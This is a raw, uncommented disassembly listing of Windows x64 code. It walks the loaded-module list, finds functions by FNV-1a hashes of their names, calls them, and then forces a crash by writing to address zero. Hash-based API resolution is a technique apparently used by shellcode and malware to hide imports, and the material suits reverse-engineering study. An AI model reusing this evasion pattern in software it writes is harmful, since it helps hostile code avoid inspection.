mov edx, dword [rdx + r8*4]
add rdx, r10
cmp rdx, r9
jbe 0x14012d8f6
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x14012d8f6
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x7c], ecx
jmp 0x14012d8b7
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d8a9
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d8de
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d8c6
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d8f4
cmp qword [r8 + 0x30], 0
jne 0x14012d7c4
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x14012da62
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d973
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d966
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d957
cmp edx, edi
jne 0x14012da45
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14012da45
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012da45
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r9d, dword [rdx + r11]
add r9, r11
mov edx, r13d
jmp 0x14012d9c3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14012d9b8
cmp edx, dword [rbp - 0x80]
je 0x14012d9d8
test ebx, ebx
jne 0x14012d9a6
jmp 0x14012da45
mov ecx, dword [r10 + 0x24]
add rcx, r11
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov r9d, dword [rdx + r8*4]
add r9, r11
cmp r9, r10
jbe 0x14012da5b
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14012da5b
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x80], ecx
jmp 0x14012da19
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012da0b
add r9, r12
mov al, byte [r9]
test al, al
je 0x14012da42
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14012da2a
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012da58
cmp qword [r8 + 0x30], 0
jne 0x14012d928
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14012dad2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
cmp rcx, r9
je 0x14012dab9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012da9d
cmp edx, 0x610c0de3
je 0x14012db1e
mov r8, qword [r8]
cmp r8, r10
je 0x14012dac8
cmp qword [r8 + 0x30], 0
jne 0x14012da85
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
xor r10d, r10d
mov r11d, dword [r9 + r8 + 0x20]
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r13d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14012db19
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14012dafd
cmp ecx, 0xe463da3c
je 0x14012db24
add r10d, r12d
jmp 0x14012dae6
mov r8, qword [r8 + 0x30]
jmp 0x14012dacb
mov eax, dword [r9 + r8 + 0x24]
add rax, r8
movzx edx, word [rax + r10*2]
mov ecx, dword [r9 + r8 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14012dcaf
xor edi, edi
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012dbba
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012dbad
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012db9e
cmp edx, edi
jne 0x14012dc92
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14012dc92
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012dc92
mov r15d, dword [r9 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r10d, dword [rdx + r11]
add r10, r11
mov edx, r13d
jmp 0x14012dc0a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14012dbff
cmp edx, dword [rbp - 0x7c]
je 0x14012dc1f
test ebx, ebx
jne 0x14012dbed
jmp 0x14012dc8c
mov ecx, dword [r9 + 0x24]
add rcx, r11
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r11
mov r10d, dword [rdx + r8*4]
add r10, r11
cmp r10, r9
jbe 0x14012dca8
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x14012dca8
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x7c], ecx
jmp 0x14012dc60
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x14012dc52
add r10, r12
mov al, byte [r10]
test al, al
je 0x14012dc89
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x14012dc71
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r15d, 8
mov r8, qword [r8]
cmp r8, rsi
je 0x14012dca5
cmp qword [r8 + 0x30], 0
jne 0x14012db6f
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe30]
mov r8d, r12d
mov r12d, 0x5000
mov edx, r12d
mov rcx, r14
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14012de2b
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012dd3c
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012dd2f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012dd20
cmp edx, edi
jne 0x14012de0e
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14012de0e
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012de0e
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r9d, dword [rdx + r11]
add r9, r11
mov edx, r13d
jmp 0x14012dd8c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
inc r9
test cl, cl
jne 0x14012dd81
cmp edx, dword [rbp - 0x78]
je 0x14012dda1
test ebx, ebx
jne 0x14012dd6f
jmp 0x14012de0e
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx r9d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov r8d, dword [rdx + r9*4]
add r8, r11
cmp r8, r10
jbe 0x14012de24
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14012de24
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x78], ecx
jmp 0x14012dde2
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14012ddd4
inc r8
mov al, byte [r8]
test al, al
je 0x14012de0b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14012ddf3
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012de21
cmp qword [r8 + 0x30], 0
jne 0x14012dcf1
xor r8d, r8d
mov qword [0x1404fc160], r8
mov rdx, r12
mov rcx, r14
call r8
mov qword [0], 0x99
mov rcx, qword [rbp + 0x3490]
xor rcx, rsp
call fcn.14020ffd0
lea r11, [rsp + 0x35a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret